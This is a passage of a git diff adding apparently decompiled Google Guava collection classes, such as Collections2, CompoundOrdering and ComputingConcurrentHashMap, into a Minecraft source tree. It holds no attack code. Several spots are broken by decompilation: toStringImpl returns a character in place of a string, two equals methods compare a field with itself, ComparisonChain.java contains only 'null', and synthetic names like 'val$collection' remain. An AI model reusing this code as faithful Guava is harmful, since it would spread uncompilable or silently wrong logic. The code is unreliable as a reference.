+      public E get(int axis)
+      {
+        Preconditions.checkElementIndex(axis, size());
+        int axisIndex = CartesianList.this.getAxisIndexForProductIndex(index, axis);
+        return ((List)axes.get(axis)).get(axisIndex);
+      }
+      
+      boolean isPartialView()
+      {
+        return true;
+      }
+    };
+  }
+  
+  public int size()
+  {
+    return axesSizeProduct[0];
+  }
+  
+  public boolean contains(@Nullable Object o)
+  {
+    if (!(o instanceof List)) {
+      return false;
+    }
+    List<?> list = (List)o;
+    if (list.size() != axes.size()) {
+      return false;
+    }
+    ListIterator<?> itr = list.listIterator();
+    while (itr.hasNext()) {
+      int index = itr.nextIndex();
+      if (!((List)axes.get(index)).contains(itr.next())) {
+        return false;
+      }
+    }
+    return true;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ClassToInstanceMap.java b/src/minecraft/com/google/common/collect/ClassToInstanceMap.java
new file mode 100644
index 0000000..e2b11e7
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ClassToInstanceMap.java
@@ -0,0 +1,14 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+@GwtCompatible
+public abstract interface ClassToInstanceMap<B>
+  extends Map<Class<? extends B>, B>
+{
+  public abstract <T extends B> T getInstance(Class<T> paramClass);
+  
+  public abstract <T extends B> T putInstance(Class<T> paramClass, @Nullable T paramT);
+}
diff --git a/src/minecraft/com/google/common/collect/CollectPreconditions.java b/src/minecraft/com/google/common/collect/CollectPreconditions.java
new file mode 100644
index 0000000..204d444
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/CollectPreconditions.java
@@ -0,0 +1,51 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+final class CollectPreconditions
+{
+  CollectPreconditions() {}
+  
+  static void checkEntryNotNull(Object key, Object value)
+  {
+    if (key == null)
+      throw new NullPointerException("null key in entry: null=" + value);
+    if (value == null) {
+      throw new NullPointerException("null value in entry: " + key + "=null");
+    }
+  }
+  
+  static int checkNonnegative(int value, String name) {
+    if (value < 0) {
+      throw new IllegalArgumentException(name + " cannot be negative but was: " + value);
+    }
+    return value;
+  }
+  
+
+
+
+  static void checkRemove(boolean canRemove)
+  {
+    Preconditions.checkState(canRemove, "no calls to next() since the last call to remove()");
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Collections2.java b/src/minecraft/com/google/common/collect/Collections2.java
new file mode 100644
index 0000000..4e1f752
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Collections2.java
@@ -0,0 +1,674 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Function;
+import com.google.common.base.Joiner;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import com.google.common.math.IntMath;
+import com.google.common.math.LongMath;
+import java.util.AbstractCollection;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.List;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public final class Collections2
+{
+  private Collections2() {}
+  
+  public static <E> Collection<E> filter(Collection<E> unfiltered, Predicate<? super E> predicate)
+  {
+    if ((unfiltered instanceof FilteredCollection))
+    {
+
+      return ((FilteredCollection)unfiltered).createCombined(predicate);
+    }
+    
+    return new FilteredCollection((Collection)Preconditions.checkNotNull(unfiltered), (Predicate)Preconditions.checkNotNull(predicate));
+  }
+  
+
+
+
+
+
+
+  static boolean safeContains(Collection<?> collection, @Nullable Object object)
+  {
+    Preconditions.checkNotNull(collection);
+    try {
+      return collection.contains(object);
+    } catch (ClassCastException e) {
+      return false;
+    } catch (NullPointerException e) {}
+    return false;
+  }
+  
+
+
+
+
+
+  static boolean safeRemove(Collection<?> collection, @Nullable Object object)
+  {
+    Preconditions.checkNotNull(collection);
+    try {
+      return collection.remove(object);
+    } catch (ClassCastException e) {
+      return false;
+    } catch (NullPointerException e) {}
+    return false;
+  }
+  
+  static class FilteredCollection<E> extends AbstractCollection<E>
+  {
+    final Collection<E> unfiltered;
+    final Predicate<? super E> predicate;
+    
+    FilteredCollection(Collection<E> unfiltered, Predicate<? super E> predicate)
+    {
+      this.unfiltered = unfiltered;
+      this.predicate = predicate;
+    }
+    
+    FilteredCollection<E> createCombined(Predicate<? super E> newPredicate) {
+      return new FilteredCollection(unfiltered, Predicates.and(predicate, newPredicate));
+    }
+    
+
+
+    public boolean add(E element)
+    {
+      Preconditions.checkArgument(predicate.apply(element));
+      return unfiltered.add(element);
+    }
+    
+    public boolean addAll(Collection<? extends E> collection)
+    {
+      for (E element : collection) {
+        Preconditions.checkArgument(predicate.apply(element));
+      }
+      return unfiltered.addAll(collection);
+    }
+    
+    public void clear()
+    {
+      Iterables.removeIf(unfiltered, predicate);
+    }
+    
+    public boolean contains(@Nullable Object element)
+    {
+      if (Collections2.safeContains(unfiltered, element))
+      {
+        E e = element;
+        return predicate.apply(e);
+      }
+      return false;
+    }
+    
+    public boolean containsAll(Collection<?> collection)
+    {
+      return Collections2.containsAllImpl(this, collection);
+    }
+    
+    public boolean isEmpty()
+    {
+      return !Iterables.any(unfiltered, predicate);
+    }
+    
+    public Iterator<E> iterator()
+    {
+      return Iterators.filter(unfiltered.iterator(), predicate);
+    }
+    
+    public boolean remove(Object element)
+    {
+      return (contains(element)) && (unfiltered.remove(element));
+    }
+    
+    public boolean removeAll(Collection<?> collection)
+    {
+      return Iterables.removeIf(unfiltered, Predicates.and(predicate, Predicates.in(collection)));
+    }
+    
+    public boolean retainAll(Collection<?> collection)
+    {
+      return Iterables.removeIf(unfiltered, Predicates.and(predicate, Predicates.not(Predicates.in(collection))));
+    }
+    
+    public int size()
+    {
+      return Iterators.size(iterator());
+    }
+    
+
+    public Object[] toArray()
+    {
+      return Lists.newArrayList(iterator()).toArray();
+    }
+    
+    public <T> T[] toArray(T[] array)
+    {
+      return Lists.newArrayList(iterator()).toArray(array);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <F, T> Collection<T> transform(Collection<F> fromCollection, Function<? super F, T> function)
+  {
+    return new TransformedCollection(fromCollection, function);
+  }
+  
+  static class TransformedCollection<F, T> extends AbstractCollection<T>
+  {
+    final Collection<F> fromCollection;
+    final Function<? super F, ? extends T> function;
+    
+    TransformedCollection(Collection<F> fromCollection, Function<? super F, ? extends T> function) {
+      this.fromCollection = ((Collection)Preconditions.checkNotNull(fromCollection));
+      this.function = ((Function)Preconditions.checkNotNull(function));
+    }
+    
+    public void clear() {
+      fromCollection.clear();
+    }
+    
+    public boolean isEmpty() {
+      return fromCollection.isEmpty();
+    }
+    
+    public Iterator<T> iterator() {
+      return Iterators.transform(fromCollection.iterator(), function);
+    }
+    
+    public int size() {
+      return fromCollection.size();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  static boolean containsAllImpl(Collection<?> self, Collection<?> c)
+  {
+    return Iterables.all(c, Predicates.in(self));
+  }
+  
+
+
+  static String toStringImpl(Collection<?> collection)
+  {
+    StringBuilder sb = newStringBuilderForCollection(collection.size()).append('[');
+    
+    STANDARD_JOINER.appendTo(sb, Iterables.transform(collection, new Function()
+    {
+      public Object apply(Object input) {
+        return input == val$collection ? "(this Collection)" : input;
+      }
+    }));
+    return ']';
+  }
+  
+
+
+  static StringBuilder newStringBuilderForCollection(int size)
+  {
+    CollectPreconditions.checkNonnegative(size, "size");
+    return new StringBuilder((int)Math.min(size * 8L, 1073741824L));
+  }
+  
+
+
+  static <T> Collection<T> cast(Iterable<T> iterable)
+  {
+    return (Collection)iterable;
+  }
+  
+  static final Joiner STANDARD_JOINER = Joiner.on(", ").useForNull("null");
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <E extends Comparable<? super E>> Collection<List<E>> orderedPermutations(Iterable<E> elements)
+  {
+    return orderedPermutations(elements, Ordering.natural());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <E> Collection<List<E>> orderedPermutations(Iterable<E> elements, Comparator<? super E> comparator)
+  {
+    return new OrderedPermutationCollection(elements, comparator);
+  }
+  
+  private static final class OrderedPermutationCollection<E> extends AbstractCollection<List<E>>
+  {
+    final ImmutableList<E> inputList;
+    final Comparator<? super E> comparator;
+    final int size;
+    
+    OrderedPermutationCollection(Iterable<E> input, Comparator<? super E> comparator)
+    {
+      inputList = Ordering.from(comparator).immutableSortedCopy(input);
+      this.comparator = comparator;
+      size = calculateSize(inputList, comparator);
+    }
+    
+
+
+
+
+
+
+
+
+
+    private static <E> int calculateSize(List<E> sortedInputList, Comparator<? super E> comparator)
+    {
+      long permutations = 1L;
+      int n = 1;
+      int r = 1;
+      while (n < sortedInputList.size()) {
+        int comparison = comparator.compare(sortedInputList.get(n - 1), sortedInputList.get(n));
+        
+        if (comparison < 0)
+        {
+          permutations *= LongMath.binomial(n, r);
+          r = 0;
+          if (!Collections2.isPositiveInt(permutations)) {
+            return Integer.MAX_VALUE;
+          }
+        }
+        n++;
+        r++;
+      }
+      permutations *= LongMath.binomial(n, r);
+      if (!Collections2.isPositiveInt(permutations)) {
+        return Integer.MAX_VALUE;
+      }
+      return (int)permutations;
+    }
+    
+    public int size() {
+      return size;
+    }
+    
+    public boolean isEmpty() {
+      return false;
+    }
+    
+    public Iterator<List<E>> iterator() {
+      return new Collections2.OrderedPermutationIterator(inputList, comparator);
+    }
+    
+    public boolean contains(@Nullable Object obj) {
+      if ((obj instanceof List)) {
+        List<?> list = (List)obj;
+        return Collections2.isPermutation(inputList, list);
+      }
+      return false;
+    }
+    
+    public String toString() {
+      return "orderedPermutationCollection(" + inputList + ")";
+    }
+  }
+  
+  private static final class OrderedPermutationIterator<E>
+    extends AbstractIterator<List<E>>
+  {
+    List<E> nextPermutation;
+    final Comparator<? super E> comparator;
+    
+    OrderedPermutationIterator(List<E> list, Comparator<? super E> comparator)
+    {
+      nextPermutation = Lists.newArrayList(list);
+      this.comparator = comparator;
+    }
+    
+    protected List<E> computeNext() {
+      if (nextPermutation == null) {
+        return (List)endOfData();
+      }
+      ImmutableList<E> next = ImmutableList.copyOf(nextPermutation);
+      calculateNextPermutation();
+      return next;
+    }
+    
+    void calculateNextPermutation() {
+      int j = findNextJ();
+      if (j == -1) {
+        nextPermutation = null;
+        return;
+      }
+      
+      int l = findNextL(j);
+      Collections.swap(nextPermutation, j, l);
+      int n = nextPermutation.size();
+      Collections.reverse(nextPermutation.subList(j + 1, n));
+    }
+    
+    int findNextJ() {
+      for (int k = nextPermutation.size() - 2; k >= 0; k--) {
+        if (comparator.compare(nextPermutation.get(k), nextPermutation.get(k + 1)) < 0)
+        {
+          return k;
+        }
+      }
+      return -1;
+    }
+    
+    int findNextL(int j) {
+      E ak = nextPermutation.get(j);
+      for (int l = nextPermutation.size() - 1; l > j; l--) {
+        if (comparator.compare(ak, nextPermutation.get(l)) < 0) {
+          return l;
+        }
+      }
+      throw new AssertionError("this statement should be unreachable");
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <E> Collection<List<E>> permutations(Collection<E> elements)
+  {
+    return new PermutationCollection(ImmutableList.copyOf(elements));
+  }
+  
+  private static final class PermutationCollection<E> extends AbstractCollection<List<E>>
+  {
+    final ImmutableList<E> inputList;
+    
+    PermutationCollection(ImmutableList<E> input) {
+      inputList = input;
+    }
+    
+    public int size() {
+      return IntMath.factorial(inputList.size());
+    }
+    
+    public boolean isEmpty() {
+      return false;
+    }
+    
+    public Iterator<List<E>> iterator() {
+      return new Collections2.PermutationIterator(inputList);
+    }
+    
+    public boolean contains(@Nullable Object obj) {
+      if ((obj instanceof List)) {
+        List<?> list = (List)obj;
+        return Collections2.isPermutation(inputList, list);
+      }
+      return false;
+    }
+    
+    public String toString() {
+      return "permutations(" + inputList + ")";
+    }
+  }
+  
+  private static class PermutationIterator<E> extends AbstractIterator<List<E>>
+  {
+    final List<E> list;
+    final int[] c;
+    final int[] o;
+    int j;
+    
+    PermutationIterator(List<E> list) {
+      this.list = new ArrayList(list);
+      int n = list.size();
+      c = new int[n];
+      o = new int[n];
+      Arrays.fill(c, 0);
+      Arrays.fill(o, 1);
+      j = Integer.MAX_VALUE;
+    }
+    
+    protected List<E> computeNext() {
+      if (j <= 0) {
+        return (List)endOfData();
+      }
+      ImmutableList<E> next = ImmutableList.copyOf(list);
+      calculateNextPermutation();
+      return next;
+    }
+    
+    void calculateNextPermutation() {
+      j = (list.size() - 1);
+      int s = 0;
+      
+
+
+      if (j == -1) {
+        return;
+      }
+      int q;
+      for (;;) {
+        q = c[j] + o[j];
+        if (q < 0) {
+          switchDirection();
+        }
+        else {
+          if (q != j + 1) break;
+          if (j == 0) {
+            return;
+          }
+          s++;
+          switchDirection();
+        }
+      }
+      
+      Collections.swap(list, j - c[j] + s, j - q + s);
+      c[j] = q;
+    }
+    
+
+    void switchDirection()
+    {
+      o[j] = (-o[j]);
+      j -= 1;
+    }
+  }
+  
+
+
+
+  private static boolean isPermutation(List<?> first, List<?> second)
+  {
+    if (first.size() != second.size()) {
+      return false;
+    }
+    Multiset<?> firstMultiset = HashMultiset.create(first);
+    Multiset<?> secondMultiset = HashMultiset.create(second);
+    return firstMultiset.equals(secondMultiset);
+  }
+  
+  private static boolean isPositiveInt(long n) {
+    return (n >= 0L) && (n <= 2147483647L);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ComparatorOrdering.java b/src/minecraft/com/google/common/collect/ComparatorOrdering.java
new file mode 100644
index 0000000..3f49c01
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ComparatorOrdering.java
@@ -0,0 +1,59 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.Comparator;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+final class ComparatorOrdering<T>
+  extends Ordering<T>
+  implements Serializable
+{
+  final Comparator<T> comparator;
+  private static final long serialVersionUID = 0L;
+  
+  ComparatorOrdering(Comparator<T> comparator)
+  {
+    this.comparator = ((Comparator)Preconditions.checkNotNull(comparator));
+  }
+  
+  public int compare(T a, T b) {
+    return comparator.compare(a, b);
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    if (object == this) {
+      return true;
+    }
+    if ((object instanceof ComparatorOrdering)) {
+      ComparatorOrdering<?> that = (ComparatorOrdering)object;
+      return comparator.equals(comparator);
+    }
+    return false;
+  }
+  
+  public int hashCode() {
+    return comparator.hashCode();
+  }
+  
+  public String toString() {
+    return comparator.toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ComparisonChain.java b/src/minecraft/com/google/common/collect/ComparisonChain.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ComparisonChain.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/google/common/collect/CompoundOrdering.java b/src/minecraft/com/google/common/collect/CompoundOrdering.java
new file mode 100644
index 0000000..65e891e
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/CompoundOrdering.java
@@ -0,0 +1,69 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.io.Serializable;
+import java.util.Comparator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+final class CompoundOrdering<T>
+  extends Ordering<T>
+  implements Serializable
+{
+  final ImmutableList<Comparator<? super T>> comparators;
+  private static final long serialVersionUID = 0L;
+  
+  CompoundOrdering(Comparator<? super T> primary, Comparator<? super T> secondary)
+  {
+    comparators = ImmutableList.of(primary, secondary);
+  }
+  
+  CompoundOrdering(Iterable<? extends Comparator<? super T>> comparators)
+  {
+    this.comparators = ImmutableList.copyOf(comparators);
+  }
+  
+  public int compare(T left, T right)
+  {
+    int size = comparators.size();
+    for (int i = 0; i < size; i++) {
+      int result = ((Comparator)comparators.get(i)).compare(left, right);
+      if (result != 0) {
+        return result;
+      }
+    }
+    return 0;
+  }
+  
+  public boolean equals(Object object) {
+    if (object == this) {
+      return true;
+    }
+    if ((object instanceof CompoundOrdering)) {
+      CompoundOrdering<?> that = (CompoundOrdering)object;
+      return comparators.equals(comparators);
+    }
+    return false;
+  }
+  
+  public int hashCode() {
+    return comparators.hashCode();
+  }
+  
+  public String toString() {
+    return "Ordering.compound(" + comparators + ")";
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ComputationException.java b/src/minecraft/com/google/common/collect/ComputationException.java
new file mode 100644
index 0000000..ccd536a
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ComputationException.java
@@ -0,0 +1,37 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public class ComputationException
+  extends RuntimeException
+{
+  private static final long serialVersionUID = 0L;
+  
+  public ComputationException(@Nullable Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ComputingConcurrentHashMap.java b/src/minecraft/com/google/common/collect/ComputingConcurrentHashMap.java
new file mode 100644
index 0000000..edf50b0
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ComputingConcurrentHashMap.java
@@ -0,0 +1,418 @@
+package com.google.common.collect;
+
+import com.google.common.base.Equivalence;
+import com.google.common.base.Function;
+import com.google.common.base.Preconditions;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.lang.ref.ReferenceQueue;
+import java.util.Queue;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.atomic.AtomicReferenceArray;
+import javax.annotation.Nullable;
+import javax.annotation.concurrent.GuardedBy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class ComputingConcurrentHashMap<K, V>
+  extends MapMakerInternalMap<K, V>
+{
+  final Function<? super K, ? extends V> computingFunction;
+  private static final long serialVersionUID = 4L;
+  
+  ComputingConcurrentHashMap(MapMaker builder, Function<? super K, ? extends V> computingFunction)
+  {
+    super(builder);
+    this.computingFunction = ((Function)Preconditions.checkNotNull(computingFunction));
+  }
+  
+  MapMakerInternalMap.Segment<K, V> createSegment(int initialCapacity, int maxSegmentSize)
+  {
+    return new ComputingSegment(this, initialCapacity, maxSegmentSize);
+  }
+  
+  ComputingSegment<K, V> segmentFor(int hash)
+  {
+    return (ComputingSegment)super.segmentFor(hash);
+  }
+  
+  V getOrCompute(K key) throws ExecutionException {
+    int hash = hash(Preconditions.checkNotNull(key));
+    return segmentFor(hash).getOrCompute(key, hash, computingFunction);
+  }
+  
+  static final class ComputingSegment<K, V>
+    extends MapMakerInternalMap.Segment<K, V>
+  {
+    ComputingSegment(MapMakerInternalMap<K, V> map, int initialCapacity, int maxSegmentSize) { super(initialCapacity, maxSegmentSize); }
+    
+    V getOrCompute(K key, int hash, Function<? super K, ? extends V> computingFunction) throws ExecutionException {
+      try {
+        MapMakerInternalMap.ReferenceEntry<K, V> e;
+        Object computingValueReference;
+        V value;
+        do {
+          e = getEntry(key, hash);
+          if (e != null) {
+            V value = getLiveValue(e);
+            if (value != null) {
+              recordRead(e);
+              return value;
+            }
+          }
+          
+
+
+          if ((e == null) || (!e.getValueReference().isComputingReference())) {
+            boolean createNewEntry = true;
+            computingValueReference = null;
+            lock();
+            int newCount;
+            try { preWriteCleanup();
+              
+              newCount = count - 1;
+              AtomicReferenceArray<MapMakerInternalMap.ReferenceEntry<K, V>> table = this.table;
+              int index = hash & table.length() - 1;
+              MapMakerInternalMap.ReferenceEntry<K, V> first = (MapMakerInternalMap.ReferenceEntry)table.get(index);
+              
+              for (e = first; e != null; e = e.getNext()) {
+                K entryKey = e.getKey();
+                if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+                {
+                  MapMakerInternalMap.ValueReference<K, V> valueReference = e.getValueReference();
+                  if (valueReference.isComputingReference()) {
+                    createNewEntry = false; break;
+                  }
+                  V value = e.getValueReference().get();
+                  if (value == null) {
+                    enqueueNotification(entryKey, hash, value, MapMaker.RemovalCause.COLLECTED);
+                  } else if ((map.expires()) && (map.isExpired(e)))
+                  {
+
+                    enqueueNotification(entryKey, hash, value, MapMaker.RemovalCause.EXPIRED);
+                  } else {
+                    recordLockedRead(e);
+                    return value;
+                  }
+                  
+
+                  evictionQueue.remove(e);
+                  expirationQueue.remove(e);
+                  count = newCount;
+                  
+                  break;
+                }
+              }
+              
+              if (createNewEntry) {
+                computingValueReference = new ComputingConcurrentHashMap.ComputingValueReference(computingFunction);
+                
+                if (e == null) {
+                  e = newEntry(key, hash, first);
+                  e.setValueReference((MapMakerInternalMap.ValueReference)computingValueReference);
+                  table.set(index, e);
+                } else {
+                  e.setValueReference((MapMakerInternalMap.ValueReference)computingValueReference);
+                }
+              }
+            } finally {
+              unlock();
+            }
+            
+
+            if (createNewEntry)
+            {
+              return compute(key, hash, e, (ComputingConcurrentHashMap.ComputingValueReference)computingValueReference);
+            }
+          }
+          
+
+          Preconditions.checkState(!Thread.holdsLock(e), "Recursive computation");
+          
+          value = e.getValueReference().waitForValue();
+        } while (value == null);
+        recordRead(e);
+        return value;
+
+      }
+      finally
+      {
+
+        postReadCleanup();
+      }
+    }
+    
+    V compute(K key, int hash, MapMakerInternalMap.ReferenceEntry<K, V> e, ComputingConcurrentHashMap.ComputingValueReference<K, V> computingValueReference)
+      throws ExecutionException
+    {
+      V value = null;
+      long start = System.nanoTime();
+      long end = 0L;
+      
+
+      try
+      {
+        synchronized (e) {
+          value = computingValueReference.compute(key, hash);
+          end = System.nanoTime(); }
+        V oldValue;
+        if (value != null)
+        {
+          oldValue = put(key, hash, value, true);
+          if (oldValue != null)
+          {
+            enqueueNotification(key, hash, value, MapMaker.RemovalCause.REPLACED);
+          }
+        }
+        return value;
+      } finally {
+        if (end == 0L) {
+          end = System.nanoTime();
+        }
+        if (value == null) {
+          clearValue(key, hash, computingValueReference);
+        }
+      }
+    }
+  }
+  
+  private static final class ComputationExceptionReference<K, V>
+    implements MapMakerInternalMap.ValueReference<K, V>
+  {
+    final Throwable t;
+    
+    ComputationExceptionReference(Throwable t)
+    {
+      this.t = t;
+    }
+    
+    public V get()
+    {
+      return null;
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getEntry()
+    {
+      return null;
+    }
+    
+
+    public MapMakerInternalMap.ValueReference<K, V> copyFor(ReferenceQueue<V> queue, V value, MapMakerInternalMap.ReferenceEntry<K, V> entry)
+    {
+      return this;
+    }
+    
+    public boolean isComputingReference()
+    {
+      return false;
+    }
+    
+    public V waitForValue() throws ExecutionException
+    {
+      throw new ExecutionException(t);
+    }
+    
+
+    public void clear(MapMakerInternalMap.ValueReference<K, V> newValue) {}
+  }
+  
+  private static final class ComputedReference<K, V>
+    implements MapMakerInternalMap.ValueReference<K, V>
+  {
+    final V value;
+    
+    ComputedReference(@Nullable V value)
+    {
+      this.value = value;
+    }
+    
+    public V get()
+    {
+      return value;
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getEntry()
+    {
+      return null;
+    }
+    
+
+    public MapMakerInternalMap.ValueReference<K, V> copyFor(ReferenceQueue<V> queue, V value, MapMakerInternalMap.ReferenceEntry<K, V> entry)
+    {
+      return this;
+    }
+    
+    public boolean isComputingReference()
+    {
+      return false;
+    }
+    
+    public V waitForValue()
+    {
+      return get();
+    }
+    
+    public void clear(MapMakerInternalMap.ValueReference<K, V> newValue) {}
+  }
+  
+  private static final class ComputingValueReference<K, V> implements MapMakerInternalMap.ValueReference<K, V>
+  {
+    final Function<? super K, ? extends V> computingFunction;
+    @GuardedBy("ComputingValueReference.this")
+    volatile MapMakerInternalMap.ValueReference<K, V> computedReference = MapMakerInternalMap.unset();
+    
+    public ComputingValueReference(Function<? super K, ? extends V> computingFunction)
+    {
+      this.computingFunction = computingFunction;
+    }
+    
+
+
+    public V get()
+    {
+      return null;
+    }
+    
+    public MapMakerInternalMap.ReferenceEntry<K, V> getEntry()
+    {
+      return null;
+    }
+    
+
+    public MapMakerInternalMap.ValueReference<K, V> copyFor(ReferenceQueue<V> queue, @Nullable V value, MapMakerInternalMap.ReferenceEntry<K, V> entry)
+    {
+      return this;
+    }
+    
+    public boolean isComputingReference()
+    {
+      return true;
+    }
+    
+
+
+    public V waitForValue()
+      throws ExecutionException
+    {
+      if (computedReference == MapMakerInternalMap.UNSET) {
+        boolean interrupted = false;
+        try {
+          synchronized (this) {
+            while (computedReference == MapMakerInternalMap.UNSET) {
+              try {
+                wait();
+              } catch (InterruptedException ie) {
+                interrupted = true;
+              }
+            }
+          }
+        } finally {
+          if (interrupted) {
+            Thread.currentThread().interrupt();
+          }
+        }
+      }
+      return computedReference.waitForValue();
+    }
+    
+
+
+    public void clear(MapMakerInternalMap.ValueReference<K, V> newValue)
+    {
+      setValueReference(newValue);
+    }
+    
+    V compute(K key, int hash) throws ExecutionException
+    {
+      V value;
+      try
+      {
+        value = computingFunction.apply(key);
+      } catch (Throwable t) {
+        setValueReference(new ComputingConcurrentHashMap.ComputationExceptionReference(t));
+        throw new ExecutionException(t);
+      }
+      
+      setValueReference(new ComputingConcurrentHashMap.ComputedReference(value));
+      return value;
+    }
+    
+    void setValueReference(MapMakerInternalMap.ValueReference<K, V> valueReference) {
+      synchronized (this) {
+        if (computedReference == MapMakerInternalMap.UNSET) {
+          computedReference = valueReference;
+          notifyAll();
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  Object writeReplace()
+  {
+    return new ComputingSerializationProxy(keyStrength, valueStrength, keyEquivalence, valueEquivalence, expireAfterWriteNanos, expireAfterAccessNanos, maximumSize, concurrencyLevel, removalListener, this, computingFunction);
+  }
+  
+
+  static final class ComputingSerializationProxy<K, V>
+    extends MapMakerInternalMap.AbstractSerializationProxy<K, V>
+  {
+    final Function<? super K, ? extends V> computingFunction;
+    
+    private static final long serialVersionUID = 4L;
+    
+
+    ComputingSerializationProxy(MapMakerInternalMap.Strength keyStrength, MapMakerInternalMap.Strength valueStrength, Equivalence<Object> keyEquivalence, Equivalence<Object> valueEquivalence, long expireAfterWriteNanos, long expireAfterAccessNanos, int maximumSize, int concurrencyLevel, MapMaker.RemovalListener<? super K, ? super V> removalListener, ConcurrentMap<K, V> delegate, Function<? super K, ? extends V> computingFunction)
+    {
+      super(valueStrength, keyEquivalence, valueEquivalence, expireAfterWriteNanos, expireAfterAccessNanos, maximumSize, concurrencyLevel, removalListener, delegate);
+      
+      this.computingFunction = computingFunction;
+    }
+    
+    private void writeObject(ObjectOutputStream out) throws IOException {
+      out.defaultWriteObject();
+      writeMapTo(out);
+    }
+    
+    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException
+    {
+      in.defaultReadObject();
+      MapMaker mapMaker = readMapMaker(in);
+      delegate = mapMaker.makeComputingMap(computingFunction);
+      readEntries(in);
+    }
+    
+    Object readResolve() {
+      return delegate;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ConcurrentHashMultiset.java b/src/minecraft/com/google/common/collect/ConcurrentHashMultiset.java
new file mode 100644
index 0000000..336f683
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ConcurrentHashMultiset.java
@@ -0,0 +1,579 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import com.google.common.math.IntMath;
+import com.google.common.primitives.Ints;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.atomic.AtomicInteger;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ConcurrentHashMultiset<E>
+  extends AbstractMultiset<E>
+  implements Serializable
+{
+  private final transient ConcurrentMap<E, AtomicInteger> countMap;
+  private transient ConcurrentHashMultiset<E>.EntrySet entrySet;
+  private static final long serialVersionUID = 1L;
+  
+  private static class FieldSettersHolder
+  {
+    static final Serialization.FieldSetter<ConcurrentHashMultiset> COUNT_MAP_FIELD_SETTER = Serialization.getFieldSetter(ConcurrentHashMultiset.class, "countMap");
+    
+
+
+
+    private FieldSettersHolder() {}
+  }
+  
+
+
+  public static <E> ConcurrentHashMultiset<E> create()
+  {
+    return new ConcurrentHashMultiset(new ConcurrentHashMap());
+  }
+  
+
+
+
+
+
+
+
+  public static <E> ConcurrentHashMultiset<E> create(Iterable<? extends E> elements)
+  {
+    ConcurrentHashMultiset<E> multiset = create();
